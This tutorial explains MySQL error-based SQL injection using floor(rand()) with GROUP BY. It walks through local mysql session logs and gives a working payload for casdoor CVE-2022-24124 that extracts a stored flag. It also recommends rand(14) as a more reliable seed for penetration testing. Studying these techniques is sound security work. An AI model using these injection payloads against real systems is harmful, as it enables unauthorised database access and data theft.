SQL Injection - Learning the Principles of Floor Error Injection

Origin#

Confusion Arising from the Reproduction of the casdoor-CVE-2022-24124 Injection Vulnerability Payload#

/api/get-organizations? p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(select 123 from (select count (*), concat ((select (value) from flag limit 1),'~', floor (rand (14)*2)) x from (select 1 union all select 2) as t group by x) x)

Q: Why must we use floor(rand(14)*2) here? Would changing the parameter of rand to another number not work?
A: This will be summarized at the end.

Payload Generally Looks Like This#

select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;

The Result Generally Looks Like This#

ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'

Preparation#

Create a Table, Let's Call It Users#

mysql> create database sqli;
Query OK, 1 row affected (0.02 sec)

mysql> use sqli;
Database changed

mysql> create table users (id int(3),username varchar(100),password varchar(100));
Query OK, 0 rows affected (0.06 sec)

mysql> desc users;
+----------+--------------+------+-----+---------+-------+
| Field    | Type         | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id       | int(3)       | YES  |     | NULL    |       |
| username | varchar(100) | YES  |     | NULL    |       |
| password | varchar(100) | YES  |     | NULL    |       |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.03 sec)

Insert Some Data#

mysql> insert into users values(1,'admin',md5('123456'));
Query OK, 1 row affected (0.03 sec)

mysql> insert into users values(1,'laolao',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'guairui',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'jiangjiang',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'moss',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'ltpp',md5('12345'));
Query OK, 1 row affected (0.01 sec)

Learn About Some Functions#

As

1. Column Aliases#

Here, the as keyword is used to specify the aliases 用户ID, 用户名, and 密码 for the id, username, and password columns respectively.

mysql> select id as '用户ID',username as '用户名',password as '密码' from users;
+----------+------------+----------------------------------+
| 用户ID   | 用户名     | 密码                             |
+----------+------------+----------------------------------+
|        1 | admin      | e10adc3949ba59abbe56e057f20f883e |
|        2 | laolao     | 827ccb0eea8a706c4c34a16891f84e7b |
|        3 | guairui    | 827ccb0eea8a706c4c34a16891f84e7b |
|        4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
|        5 | moss       | 827ccb0eea8a706c4c34a16891f84e7b |
|        6 | ltpp       | 827ccb0eea8a706c4c34a16891f84e7b |
|        7 | year       | e358efa489f58062f10dd7316b65649e |
+----------+------------+----------------------------------+
7 rows in set (0.00 sec)

2. Table Aliases#

mysql> desc employees;
+----------+-------------+------+-----+---------+-------+
| Field    | Type        | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+-------+
| emp_id   | int(11)     | NO   | PRI | NULL    |       |
| emp_name | varchar(50) | YES  |     | NULL    |       |
| dept_id  | int(11)     | YES  | MUL | NULL    |       |
+----------+-------------+------+-----+---------+-------+
3 rows in set (0.01 sec)

mysql> desc departments;
+-----------+-------------+------+-----+---------+-------+
| Field     | Type        | Null | Key | Default | Extra |
+-----------+-------------+------+-----+---------+-------+
| dept_id   | int(11)     | NO   | PRI | NULL    |       |
| dept_name | varchar(50) | YES  |     | NULL    |       |
+-----------+-------------+------+-----+---------+-------+
2 rows in set (0.01 sec)

Here, the alias department is established for dept_name, and aliases e and d are established for the employees and departments tables respectively.

Inner Join -- INNER JOIN#

ON is the SQL keyword used to specify the condition for joining two tables, typically used with JOIN.

mysql> SELECT e.emp_name, d.dept_name AS department
    -> FROM employees AS e
    -> INNER JOIN departments AS d
    -> ON e.dept_id = d.dept_id;
+-------------+-------------+
| emp_name    | department  |
+-------------+-------------+
| John Smith  | Engineering |
| Lisa Jones  | Marketing   |
| Peter Lee   | Engineering |
| Karen Kim   | Sales       |
| Mike Chen   | Engineering |
| Amy Johnson | Finance     |
+-------------+-------------+

The where clause can achieve the same effect as inner join and on conditions, but it is not recommended because it may create a Cartesian product and cause unpredictable issues.

mysql> SELECT e.emp_name, d.dept_name
    -> FROM employees AS e, departments AS d
    -> WHERE e.dept_id = d.dept_id;
+-------------+-------------+
| emp_name    | dept_name   |
+-------------+-------------+
| John Smith  | Engineering |
| Lisa Jones  | Marketing   |
| Peter Lee   | Engineering |
| Karen Kim   | Sales       |
| Mike Chen   | Engineering |
| Amy Johnson | Finance     |
+-------------+-------------+
6 rows in set (0.01 sec)

Natural Join -- NATURAL JOIN#

mysql> select e.emp_name,d.dept_name FROM employees as e NATURAL JOIN departments as d;
+-------------+-------------+
| emp_name    | dept_name   |
+-------------+-------------+
| John Smith  | Engineering |
| Lisa Jones  | Marketing   |
| Peter Lee   | Engineering |
| Karen Kim   | Sales       |
| Mike Chen   | Engineering |
| Amy Johnson | Finance     |
+-------------+-------------+
6 rows in set (0.00 sec)

The main difference between natural join and inner join lies in the specification of conditions; natural join does not require specified conditions, while inner join requires conditions to be limited by the ON or USING keywords.

Natural join connects based on the common columns in both tables, and its drawback is that it may produce unexpected results.

The advantage of USING join is that it makes the join conditions clearer, but since the join conditions must be columns with the same name in both tables, there may be naming conflict issues when using USING join. Therefore, it is generally recommended to use ON join to specify join conditions.

floor(rand(0)*2)

mysql> select count(*) from users group by concat(database(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'

The 1 in sqli1 comes from floor(rand(0)*2), indicating that sqli1 is duplicated, which means this primary key already exists in the previous table. Since database() is fixed, let's continue to look at the value produced by floor(rand(0)*2).

rand() is a mathematical function that returns a random floating-point value.

mysql> select rand();
+---------------------+
| rand()              |
+---------------------+
| 0.31095878529451676 |
+---------------------+
1 row in set (0.01 sec)

mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.8337753562571252 |
+--------------------+
1 row in set (0.01 sec)

If an integer parameter N is specified, this N is called the seed number (also known as the random factor). rand() will generate a random sequence based on this seed number, meaning that when the seed number is the same, the value computed by rand(N) is the same.

mysql> select rand(0) from users limit 0,2;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
+---------------------+
2 rows in set (0.01 sec)

mysql> select rand(0) from users limit 0,2;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
+---------------------+
2 rows in set (0.01 sec)

The *2 that follows specifies the range of data to be obtained as [0,2], which is essentially multiplied by 2.

mysql> select rand(0)*2 from users limit 0,2;
+--------------------+
| rand(0)*2          |
+--------------------+
| 0.3104408553898715 |
|  1.241763483026776 |
+--------------------+
2 rows in set (0.01 sec)

mysql> select rand(0)*2 from users limit 0,2;
+--------------------+
| rand(0)*2          |
+--------------------+
| 0.3104408553898715 |
|  1.241763483026776 |
+--------------------+
2 rows in set (0.00 sec)

floor() is also a mathematical function used for rounding down, returning the largest integer value not greater than x, for example, floor(3.3) returns 3, and floor(-3.3) returns -4.

mysql> select floor(3.3),floor(-3.3);
+------------+-------------+
| floor(3.3) | floor(-3.3) |
+------------+-------------+
|          3 |          -4 |
+------------+-------------+
1 row in set (0.00 sec)

To calculate the number of entries in the users table, let's see the value of floor(rand(0)*2).

mysql> select floor(rand(0)*2) from users;;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+
7 rows in set (0.01 sec)

mysql> select floor(rand(0)*2) from users;;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+
7 rows in set (0.01 sec)

We can see that the value of rand(0) is indeed fixed.

concat()

concat is a string concatenation function that concatenates multiple strings; if any string contains NULL, it returns NULL.

Thus, the result after concat should be sqli0 or sqli1.

group by and count(*)

count(*) is an aggregate function that returns the number of values. The * wildcard represents all fields.

The difference between select count(*) from users and select count(column_name) from users is that count(*) does not exclude NULL, while count(column_name) will exclude NULL.

mysql> insert into users values(8,NULL,NULL);
Query OK, 1 row affected (0.02 sec)

mysql> select * from users;
+----+------------+----------------------------------+
| id | username   | password                         |
+----+------------+----------------------------------+
|  1 | admin      | e10adc3949ba59abbe56e057f20f883e |
|  2 | laolao     | 827ccb0eea8a706c4c34a16891f84e7b |
|  3 | guairui    | 827ccb0eea8a706c4c34a16891f84e7b |
|  4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
|  5 | moss       | 827ccb0eea8a706c4c34a16891f84e7b |
|  6 | ltpp       | 827ccb0eea8a706c4c34a16891f84e7b |
|  7 | year       | e358efa489f58062f10dd7316b65649e |
|  8 | NULL       | NULL                                 |
+----+------------+----------------------------------+
8 rows in set (0.00 sec)

mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
|        8 |
+----------+
1 row in set (0.00 sec)

mysql> select count(username) from users;
+-----------------+
| count(username) |
+-----------------+
|               7 |
+-----------------+
1 row in set (0.01 sec)

Let's take a look at the current data in the users table.

mysql> select * from users;
+----+------------+----------------------------------+
| id | username   | password                         |
+----+------------+----------------------------------+
|  1 | admin      | e10adc3949ba59abbe56e057f20f883e |
|  2 | laolao     | 827ccb0eea8a706c4c34a16891f84e7b |
|  3 | guairui    | 827ccb0eea8a706c4c34a16891f84e7b |
|  4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
|  5 | moss       | 827ccb0eea8a706c4c34a16891f84e7b |
|  6 | ltpp       | 827ccb0eea8a706c4c34a16891f84e7b |
|  7 | year       | e358efa489f58062f10dd7316b65649e |
|  8 | admin      | c4ca4238a0b923820dcc509a6f75849b |
|  9 | bing       | c81e728d9d4c2f636f067f89cc14862c |
| 10 | admin      | d3d9446802a44259755d38e6d163e820 |
+----+------------+----------------------------------+
10 rows in set (0.01 sec)

Using the statement select count(*) from users group by username; to understand the working process of group by.

mysql> select count(*) from users group by username;
+----------+
| count(*) |
+----------+
|        3 |
|        1 |
|        1 |
|        1 |
|        1 |
|        1 |
|        1 |
|        1 |
+----------+
8 rows in set (0.01 sec)

When executed, group by will sequentially take records from the queried table and create a temporary table, with the parameters of group by being the primary key of that temporary table.

If the primary key already exists in the temporary table, the value will be incremented by 1; if it does not exist, the primary key will be inserted into the temporary table, note that it is an insertion!

The first time it retrieves username->admin, since there is no such primary key in the table, it inserts admin into the primary key and counts 1.

The second time it retrieves username->laolao, since there is no such primary key in the table, it inserts laolao into the primary key and counts 1.

...

When it retrieves the eighth entry admin from the original table, it inserts admin as the primary key into the temporary table and counts 1.

When it retrieves the tenth entry admin, it finds that admin already exists as a primary key in the temporary table, so it directly increments count(*) by 1.

Visualized as follows:

mysql> CREATE TABLE temp_table
    -> SELECT username as 'key',count(*) from users group by username;
Query OK, 8 rows affected (0.05 sec)
Records: 8  Duplicates: 0  Warnings: 0

mysql> select * from temp_table;
+------------+----------+
| key        | count(*) |
+------------+----------+
| admin      |        3 |
| bing       |        1 |
| guairui    |        1 |
| jiangjiang |        1 |
| laolao     |        1 |
| ltpp       |        1 |
| moss       |        1 |
| year       |        1 |
+------------+----------+
8 rows in set (0.01 sec)

A: So why is this not the result, but instead an error about duplicate keys?
Q: Because there is one more important feature, which is that when using group by and rand(), if the primary key does not exist in the temporary table, rand() will be recalculated before insertion (which means twice, or even multiple times). This feature leads to duplicate primary keys and errors.

Execution Flow of the Payload#

mysql> SELECT count(*)
    -> from users
    -> GROUP BY
    -> concat(database(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'

In the execution of the payload, when group by takes the first record from the from table, at this point, the group by is sqli0, and it finds that there is no primary key sqli0 in the temporary table. Note that at this moment, rand(0)*2 will be recalculated again, and after floor(), the primary key inserted into the temporary table is not sqli0, but sqli1, and it counts 1.

Record	Key	Count(*)	floor(rand(0)*2)
	Sqli0	0	0
1	Sqli1	0	1
	Sqli1	1	1
2	Sqli0	1	0
	Sqli1	2	1
3	sqli1	3	1
	sqli0	2	0
4	sqli0	3	0
	sqli1	4	1
5	sqli1	5	1

Continuing to retrieve the third record from the from table, floor(rand(0)*2) is recalculated again, resulting in 0, concatenating with database() to form sqli0. Since sqli0 does not exist in the temporary table, before insertion, floor(rand(0)*2) is recalculated again, concatenating to sqli1, but it is directly inserted, even though the primary key sqli1 already exists in the temporary table, thus leading to a duplicate primary key error: ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'.

Optimization#

The value of floor(rand(0)*2) is 011011..., but actually, we do not need the result of the third calculation. If there is no floor(rand(x)*2) satisfying 0101 or 1010, then having two entries in the from table can lead to an error.

After multiple experiments, it was found that the value of floor(rand(14)*2) is 1010000..., so let's create a table with only two entries to test.

mysql> select * from test;
+------+-------+------------+
| id   | name  | tel        |
+------+-------+------------+
|    1 | test  | 1111111111 |
|    2 | test2 |  222222222 |
+------+-------+------------+
2 rows in set (0.01 sec)

mysql> select count(*) from test group by concat(database(),floor(rand(0)*2));
+----------+
| count(*) |
+----------+
|        2 |
+----------+
1 row in set (0.01 sec)

mysql> select count(*) from test group by concat(database(),floor(rand(14)*2));
ERROR 1062 (23000): Duplicate entry 'sqli0' for key 'group_key'

This means that in actual penetration testing, using floor(rand(14)*2) for error injection is more effective than rand(0).

Moreover, if there is only one entry in the table, then error injection cannot be used, as there cannot be a duplicate primary key error with only one entry.